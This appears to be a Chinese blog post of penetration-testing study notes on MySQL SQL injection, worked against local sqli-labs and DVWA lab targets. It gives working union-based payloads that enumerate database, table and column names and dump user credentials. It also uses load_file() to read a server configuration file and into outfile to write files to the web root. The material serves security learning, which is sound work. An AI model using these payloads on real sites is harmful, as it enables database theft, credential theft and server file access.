第13天-Web漏洞——SQL注入之MYSQL注入

IsecNoob

已于 2022-03-14 20:30:45 修改

阅读量3k

点赞数

分类专栏： 2020小迪安全—渗透测试学习笔记文章标签： mysql sql 前端

于 2022-01-21 16:16:45 首次发布

本文链接：https://blog.csdn.net/MCTSOG/article/details/122623858

版权

2020小迪安全—渗透测试学习笔记专栏收录该内容

78 篇文章 204 订阅

订阅专栏

在这里插入图片描述

高权限注入及低权限注入

mysql5.0以上特性

MySQL 5.0以上版本中，为了方便管理，默认定义了information_schema数据库，用来存储数据库元信息，其中具有表schemata（数据库名），table（表名），columns（列名或字段名）

在schemata表中，schema_name字段用来存储数据库名

在table表中，table_schema和table_name分别用来存储数据库名和表名

在column表中，table_schema（数据库名），table_name（表名），column_name（字段名）

跨库查询及应用思路

获取数据库名

查看数据库名，进行选择！

获取所有数据库名

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

在这里插入图片描述

获取指定数据库（dvwa）下表名信息；

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20%20table_schema=%27dvwa%27%20–+

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’ --+

在这里插入图片描述

获取指定表名（dvwa下users）下列名的信息

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20%20table_name=%27users%27%20and%20%20table_schema=%27dvwa%27

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘ users’ and table_schema= ’dvwa‘

在这里插入图片描述

获取指定 dvwa 下的 users 账户admin数据
union select 1,2，group_concat(user,’:’,password )from dvwa.users

在这里插入图片描述

文件读写操作

会用到MySQL数据库里两个内置函数，这两个函数是MySQL数据库特有的，在其他数据库是没有的或者在其他数据库中写法不同，所以这是为什么说注入、分数据库的原因，因为每个数据库内置的安全机制和它的功能不同，这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。

MySQL有内置读取的操作函数，我们可以调用这个函数作为注入的攻击。

load_file()：读取函数

SELECT * FROM users WHERE id=-1 union select 1,load_file(‘E:\phpstudy\PHPTutorial\WWW\DVWA-master\config\config.inc.php’),3 LIMIT 0,1

在这里插入图片描述

into outfile 或 into dumpfile ：导出函数

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,%27x%27,3%20into%20outfile%20%27E:\phpstudy\PHPTutorial\WWW\DVWA-master\config\record.txt%27%20–+

在这里插入图片描述